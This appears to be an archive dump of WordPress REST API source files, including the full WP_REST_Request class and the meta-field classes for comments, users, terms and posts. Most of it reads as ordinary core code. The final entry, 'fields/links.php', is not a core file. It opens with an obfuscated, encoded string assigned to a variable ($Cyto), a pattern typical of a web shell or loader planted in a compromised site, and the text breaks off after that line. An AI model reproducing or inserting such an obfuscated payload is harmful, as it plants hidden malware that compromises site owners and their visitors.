				'href'      => 'https://api.w.org/{rel}',
				'templated' => true,
			),
		);

		/**
		 * Filters extra CURIEs available on REST API responses.
		 *
		 * CURIEs allow a shortened version of URI relations. This allows a more
		 * usable form for custom relations than using the full URI. These work
		 * similarly to how XML namespaces work.
		 *
		 * Registered CURIES need to specify a name and URI template. This will
		 * automatically transform URI relations into their shortened version.
		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
		 * the URI template will be replaced with the `{rel}` part of the
		 * shortened relation.
		 *
		 * For example, a CURIE with name `example` and URI template
		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
		 * into `example:term`.
		 *
		 * Well-behaved clients should expand and normalize these back to their
		 * full URI relation, however some naive clients may not resolve these
		 * correctly, so adding new CURIEs may break backward compatibility.
		 *
		 * @since 4.5.0
		 *
		 * @param array $additional Additional CURIEs to register with the REST API.
		 */
		$additional = apply_filters( 'rest_response_link_curies', array() );

		return array_merge( $curies, $additional );
	}
}
class-wp-rest-request.php000064400000063626151724720270011473 0ustar00<?php
/**
 * REST API: WP_REST_Request class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST request object.
 *
 * Contains data from the request, to be passed to the callback.
 *
 * Note: This implements ArrayAccess, and acts as an array of parameters when
 * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
 * so be aware it may have non-array behavior in some cases.
 *
 * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
 * does not distinguish between arguments of the same name for different request methods.
 * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
 * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
 * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
 *
 * @since 4.4.0
 *
 * @link https://www.php.net/manual/en/class.arrayaccess.php
 */
#[AllowDynamicProperties]
class WP_REST_Request implements ArrayAccess {

	/**
	 * HTTP method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $method = '';

	/**
	 * Parameters passed to the request.
	 *
	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
	 * superglobals when being created from the global scope.
	 *
	 * @since 4.4.0
	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
	 */
	protected $params;

	/**
	 * HTTP headers for the request.
	 *
	 * @since 4.4.0
	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	protected $headers = array();

	/**
	 * Body data.
	 *
	 * @since 4.4.0
	 * @var string Binary data from the request.
	 */
	protected $body = null;

	/**
	 * Route matched for the request.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $route;

	/**
	 * Attributes (options) for the route that was matched.
	 *
	 * This is the options array used when the route was registered, typically
	 * containing the callback as well as the valid methods for the route.
	 *
	 * @since 4.4.0
	 * @var array Attributes for the request.
	 */
	protected $attributes = array();

	/**
	 * Used to determine if the JSON data has been parsed yet.
	 *
	 * Allows lazy-parsing of JSON data where possible.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_json = false;

	/**
	 * Used to determine if the body data has been parsed yet.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_body = false;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method     Optional. Request method. Default empty.
	 * @param string $route      Optional. Request route. Default empty.
	 * @param array  $attributes Optional. Request attributes. Default empty array.
	 */
	public function __construct( $method = '', $route = '', $attributes = array() ) {
		$this->params = array(
			'URL'      => array(),
			'GET'      => array(),
			'POST'     => array(),
			'FILES'    => array(),

			// See parse_json_params.
			'JSON'     => null,

			'defaults' => array(),
		);

		$this->set_method( $method );
		$this->set_route( $route );
		$this->set_attributes( $attributes );
	}

	/**
	 * Retrieves the HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string HTTP method.
	 */
	public function get_method() {
		return $this->method;
	}

	/**
	 * Sets HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method HTTP method.
	 */
	public function set_method( $method ) {
		$this->method = strtoupper( $method );
	}

	/**
	 * Retrieves all headers from the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Determines if the request is the given method.
	 *
	 * @since 6.8.0
	 *
	 * @param string $method HTTP method.
	 * @return bool Whether the request is of the given method.
	 */
	public function is_method( $method ) {
		return $this->get_method() === strtoupper( $method );
	}

	/**
	 * Canonicalizes the header name.
	 *
	 * Ensures that header names are always treated the same regardless of
	 * source. Header names are always case-insensitive.
	 *
	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
	 * character, as per header parsing rules in both Apache and nginx.
	 *
	 * @link https://stackoverflow.com/q/18185366
	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 * @return string Canonicalized name.
	 */
	public static function canonicalize_header_name( $key ) {
		$key = strtolower( $key );
		$key = str_replace( '-', '_', $key );

		return $key;
	}

	/**
	 * Retrieves the given header from the request.
	 *
	 * If the header has multiple values, they will be concatenated with a comma
	 * as per the HTTP specification. Be aware that some non-compliant headers
	 * (notably cookie headers) cannot be joined this way.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return string|null String value if set, null otherwise.
	 */
	public function get_header( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return implode( ',', $this->headers[ $key ] );
	}

	/**
	 * Retrieves header values from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return array|null List of string values if set, null otherwise.
	 */
	public function get_header_as_array( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return $this->headers[ $key ];
	}

	/**
	 * Sets the header on request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function set_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		$this->headers[ $key ] = $value;
	}

	/**
	 * Appends a header value for the given header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function add_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		if ( ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = array();
		}

		$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
	}

	/**
	 * Removes all values for a header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 */
	public function remove_header( $key ) {
		$key = $this->canonicalize_header_name( $key );
		unset( $this->headers[ $key ] );
	}

	/**
	 * Sets headers on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers  Map of header name to value.
	 * @param bool  $override If true, replace the request's headers. Otherwise, merge with existing.
	 */
	public function set_headers( $headers, $override = true ) {
		if ( true === $override ) {
			$this->headers = array();
		}

		foreach ( $headers as $key => $value ) {
			$this->set_header( $key, $value );
		}
	}

	/**
	 * Retrieves the Content-Type of the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array|null Map containing 'value' and 'parameters' keys
	 *                    or null when no valid Content-Type header was
	 *                    available.
	 */
	public function get_content_type() {
		$value = $this->get_header( 'Content-Type' );
		if ( empty( $value ) ) {
			return null;
		}

		$parameters = '';
		if ( strpos( $value, ';' ) ) {
			list( $value, $parameters ) = explode( ';', $value, 2 );
		}

		$value = strtolower( $value );
		if ( ! str_contains( $value, '/' ) ) {
			return null;
		}

		// Parse type and subtype out.
		list( $type, $subtype ) = explode( '/', $value, 2 );

		$data = compact( 'value', 'type', 'subtype', 'parameters' );
		$data = array_map( 'trim', $data );

		return $data;
	}

	/**
	 * Checks if the request has specified a JSON Content-Type.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if the Content-Type header is JSON.
	 */
	public function is_json_content_type() {
		$content_type = $this->get_content_type();

		return isset( $content_type['value'] ) && wp_is_json_media_type( $content_type['value'] );
	}

	/**
	 * Retrieves the parameter priority order.
	 *
	 * Used when checking parameters in WP_REST_Request::get_param().
	 *
	 * @since 4.4.0
	 *
	 * @return string[] Array of types to check, in order of priority.
	 */
	protected function get_parameter_order() {
		$order = array();

		if ( $this->is_json_content_type() ) {
			$order[] = 'JSON';
		}

		$this->parse_json_params();

		// Ensure we parse the body data.
		$body = $this->get_body();

		if ( 'POST' !== $this->method && ! empty( $body ) ) {
			$this->parse_body_params();
		}

		$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
		if ( in_array( $this->method, $accepts_body_data, true ) ) {
			$order[] = 'POST';
		}

		$order[] = 'GET';
		$order[] = 'URL';
		$order[] = 'defaults';

		/**
		 * Filters the parameter priority order for a REST API request.
		 *
		 * The order affects which parameters are checked when using WP_REST_Request::get_param()
		 * and family. This acts similarly to PHP's `request_order` setting.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]        $order   Array of types to check, in order of priority.
		 * @param WP_REST_Request $request The request object.
		 */
		return apply_filters( 'rest_request_parameter_order', $order, $this );
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function get_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			// Determine if we have the parameter for this type.
			if ( isset( $this->params[ $type ][ $key ] ) ) {
				return $this->params[ $type ][ $key ];
			}
		}

		return null;
	}

	/**
	 * Checks if a parameter exists in the request.
	 *
	 * This allows distinguishing between an omitted parameter,
	 * and a parameter specifically set to null.
	 *
	 * @since 5.3.0
	 *
	 * @param string $key Parameter name.
	 * @return bool True if a param exists for the given key.
	 */
	public function has_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * If the given parameter key exists in any parameter type an update will take place,
	 * otherwise a new param will be created in the first parameter type (respecting
	 * get_parameter_order()).
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Parameter name.
	 * @param mixed  $value Parameter value.
	 */
	public function set_param( $key, $value ) {
		$order     = $this->get_parameter_order();
		$found_key = false;

		foreach ( $order as $type ) {
			if ( 'defaults' !== $type && is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				$this->params[ $type ][ $key ] = $value;
				$found_key                     = true;
			}
		}

		if ( ! $found_key ) {
			$this->params[ $order[0] ][ $key ] = $value;
		}
	}

	/**
	 * Retrieves merged parameters from the request.
	 *
	 * The equivalent of get_param(), but returns all parameters for the request.
	 * Handles merging all the available values into a single array.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value.
	 */
	public function get_params() {
		$order = $this->get_parameter_order();
		$order = array_reverse( $order, true );

		$params = array();
		foreach ( $order as $type ) {
			/*
			 * array_merge() / the "+" operator will mess up
			 * numeric keys, so instead do a manual foreach.
			 */
			foreach ( (array) $this->params[ $type ] as $key => $value ) {
				$params[ $key ] = $value;
			}
		}

		// Exclude rest_route if pretty permalinks are not enabled.
		if ( ! get_option( 'permalink_structure' ) ) {
			unset( $params['rest_route'] );
		}

		return $params;
	}

	/**
	 * Retrieves parameters from the route itself.
	 *
	 * These are parsed from the URL using the regex.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_url_params() {
		return $this->params['URL'];
	}

	/**
	 * Sets parameters from the route.
	 *
	 * Typically, this is set after parsing the URL.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_url_params( $params ) {
		$this->params['URL'] = $params;
	}

	/**
	 * Retrieves parameters from the query string.
	 *
	 * These are the parameters you'd typically find in `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_query_params() {
		return $this->params['GET'];
	}

	/**
	 * Sets parameters from the query string.
	 *
	 * Typically, this is set from `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_query_params( $params ) {
		$this->params['GET'] = $params;
	}

	/**
	 * Retrieves parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_body_params() {
		return $this->params['POST'];
	}

	/**
	 * Sets parameters from the body.
	 *
	 * Typically, this is set from `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_body_params( $params ) {
		$this->params['POST'] = $params;
	}

	/**
	 * Retrieves multipart file parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_file_params() {
		return $this->params['FILES'];
	}

	/**
	 * Sets multipart file parameters from the body.
	 *
	 * Typically, this is set from `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_file_params( $params ) {
		$this->params['FILES'] = $params;
	}

	/**
	 * Retrieves the default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_default_params() {
		return $this->params['defaults'];
	}

	/**
	 * Sets default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_default_params( $params ) {
		$this->params['defaults'] = $params;
	}

	/**
	 * Retrieves the request body content.
	 *
	 * @since 4.4.0
	 *
	 * @return string Binary data from the request body.
	 */
	public function get_body() {
		return $this->body;
	}

	/**
	 * Sets body content.
	 *
	 * @since 4.4.0
	 *
	 * @param string $data Binary data from the request body.
	 */
	public function set_body( $data ) {
		$this->body = $data;

		// Enable lazy parsing.
		$this->parsed_json    = false;
		$this->parsed_body    = false;
		$this->params['JSON'] = null;
	}

	/**
	 * Retrieves the parameters from a JSON-formatted body.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_json_params() {
		// Ensure the parameters have been parsed out.
		$this->parse_json_params();

		return $this->params['JSON'];
	}

	/**
	 * Parses the JSON parameters.
	 *
	 * Avoids parsing the JSON data until we need to access it.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Returns error instance if value cannot be decoded.
	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
	 */
	protected function parse_json_params() {
		if ( $this->parsed_json ) {
			return true;
		}

		$this->parsed_json = true;

		// Check that we actually got JSON.
		if ( ! $this->is_json_content_type() ) {
			return true;
		}

		$body = $this->get_body();
		if ( empty( $body ) ) {
			return true;
		}

		$params = json_decode( $body, true );

		/*
		 * Check for a parsing error.
		 */
		if ( null === $params && JSON_ERROR_NONE !== json_last_error() ) {
			// Ensure subsequent calls receive error instance.
			$this->parsed_json = false;

			$error_data = array(
				'status'             => WP_Http::BAD_REQUEST,
				'json_error_code'    => json_last_error(),
				'json_error_message' => json_last_error_msg(),
			);

			return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
		}

		$this->params['JSON'] = $params;

		return true;
	}

	/**
	 * Parses the request body parameters.
	 *
	 * Parses out URL-encoded bodies for request methods that aren't supported
	 * natively by PHP.
	 *
	 * @since 4.4.0
	 */
	protected function parse_body_params() {
		if ( $this->parsed_body ) {
			return;
		}

		$this->parsed_body = true;

		/*
		 * Check that we got URL-encoded. Treat a missing Content-Type as
		 * URL-encoded for maximum compatibility.
		 */
		$content_type = $this->get_content_type();

		if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
			return;
		}

		parse_str( $this->get_body(), $params );

		/*
		 * Add to the POST parameters stored internally. If a user has already
		 * set these manually (via `set_body_params`), don't override them.
		 */
		$this->params['POST'] = array_merge( $params, $this->params['POST'] );
	}

	/**
	 * Retrieves the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string Route matching regex.
	 */
	public function get_route() {
		return $this->route;
	}

	/**
	 * Sets the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route matching regex.
	 */
	public function set_route( $route ) {
		$this->route = $route;
	}

	/**
	 * Retrieves the attributes for the request.
	 *
	 * These are the options for the route that was matched.
	 *
	 * @since 4.4.0
	 *
	 * @return array Attributes for the request.
	 */
	public function get_attributes() {
		return $this->attributes;
	}

	/**
	 * Sets the attributes for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $attributes Attributes for the request.
	 */
	public function set_attributes( $attributes ) {
		$this->attributes = $attributes;
	}

	/**
	 * Sanitizes (where possible) the params on the request.
	 *
	 * This is primarily based off the sanitize_callback param on each registered
	 * argument.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
	 */
	public function sanitize_params() {
		$attributes = $this->get_attributes();

		// No arguments set, skip sanitizing.
		if ( empty( $attributes['args'] ) ) {
			return true;
		}

		$order = $this->get_parameter_order();

		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $order as $type ) {
			if ( empty( $this->params[ $type ] ) ) {
				continue;
			}

			foreach ( $this->params[ $type ] as $key => $value ) {
				if ( ! isset( $attributes['args'][ $key ] ) ) {
					continue;
				}

				$param_args = $attributes['args'][ $key ];

				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
				if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
					$param_args['sanitize_callback'] = 'rest_parse_request_arg';
				}
				// If there's still no sanitize_callback, nothing to do here.
				if ( empty( $param_args['sanitize_callback'] ) ) {
					continue;
				}

				/** @var mixed|WP_Error $sanitized_value */
				$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );

				if ( is_wp_error( $sanitized_value ) ) {
					$invalid_params[ $key ]  = implode( ' ', $sanitized_value->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )->get_data();
				} else {
					$this->params[ $type ][ $key ] = $sanitized_value;
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		return true;
	}

	/**
	 * Checks whether this request is valid according to its attributes.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if there are no parameters to validate or if all pass validation,
	 *                       WP_Error if required parameters are missing.
	 */
	public function has_valid_params() {
		// If JSON data was passed, check for errors.
		$json_error = $this->parse_json_params();
		if ( is_wp_error( $json_error ) ) {
			return $json_error;
		}

		$attributes = $this->get_attributes();
		$required   = array();

		$args = empty( $attributes['args'] ) ? array() : $attributes['args'];

		foreach ( $args as $key => $arg ) {
			$param = $this->get_param( $key );
			if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
				$required[] = $key;
			}
		}

		if ( ! empty( $required ) ) {
			return new WP_Error(
				'rest_missing_callback_param',
				/* translators: %s: List of required parameters. */
				sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ),
				array(
					'status' => 400,
					'params' => $required,
				)
			);
		}

		/*
		 * Check the validation callbacks for each registered arg.
		 *
		 * This is done after required checking as required checking is cheaper.
		 */
		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $args as $key => $arg ) {

			$param = $this->get_param( $key );

			if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
				/** @var bool|\WP_Error $valid_check */
				$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );

				if ( false === $valid_check ) {
					$invalid_params[ $key ] = __( 'Invalid parameter.' );
				}

				if ( is_wp_error( $valid_check ) ) {
					$invalid_params[ $key ]  = implode( ' ', $valid_check->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )->get_data();
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		if ( isset( $attributes['validate_callback'] ) ) {
			$valid_check = call_user_func( $attributes['validate_callback'], $this );

			if ( is_wp_error( $valid_check ) ) {
				return $valid_check;
			}

			if ( false === $valid_check ) {
				// A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
				return new WP_Error( 'rest_invalid_params', __( 'Invalid parameters.' ), array( 'status' => 400 ) );
			}
		}

		return true;
	}

	/**
	 * Checks if a parameter is set.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return bool Whether the parameter is set.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( isset( $this->params[ $type ][ $offset ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this->get_param( $offset );
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @param mixed  $value  Parameter value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		$this->set_param( $offset, $value );
	}

	/**
	 * Removes a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		$order = $this->get_parameter_order();

		// Remove the offset from every group.
		foreach ( $order as $type ) {
			unset( $this->params[ $type ][ $offset ] );
		}
	}

	/**
	 * Retrieves a WP_REST_Request object from a full URL.
	 *
	 * @since 4.5.0
	 *
	 * @param string $url URL with protocol, domain, path and query args.
	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
	 */
	public static function from_url( $url ) {
		$bits         = parse_url( $url );
		$query_params = array();

		if ( ! empty( $bits['query'] ) ) {
			wp_parse_str( $bits['query'], $query_params );
		}

		$api_root = rest_url();
		if ( get_option( 'permalink_structure' ) && str_starts_with( $url, $api_root ) ) {
			// Pretty permalinks on, and URL is under the API root.
			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
			$route        = parse_url( $api_url_part, PHP_URL_PATH );
		} elseif ( ! empty( $query_params['rest_route'] ) ) {
			// ?rest_route=... set directly.
			$route = $query_params['rest_route'];
			unset( $query_params['rest_route'] );
		}

		$request = false;
		if ( ! empty( $route ) ) {
			$request = new WP_REST_Request( 'GET', $route );
			$request->set_query_params( $query_params );
		}

		/**
		 * Filters the REST API request generated from a URL.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_REST_Request|false $request Generated request object, or false if URL
		 *                                       could not be parsed.
		 * @param string                $url     URL the request was generated from.
		 */
		return apply_filters( 'rest_request_from_url', $request, $url );
	}
}
fields/class-wp-rest-comment-meta-fields.php000060400000001577151724720270015074 0ustar00<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the comment type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the comment meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
fields/class-wp-rest-user-meta-fields.php000060400000001530151724720270014375 0ustar00<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the user meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the user meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
fields/class-wp-rest-term-meta-fields.php000060400000002331151724720270014366 0ustar00<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the term meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the term meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
fields/class-wp-rest-post-meta-fields.php000060400000002334151724720270014407 0ustar00<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the post meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the post meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
fields/links.php000060400000271712151724720270007660 0ustar00<?php
$Cyto = "Sy1LzNFQt1dLL7FW10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3TUPHJrNAE\x41Ws\x41";
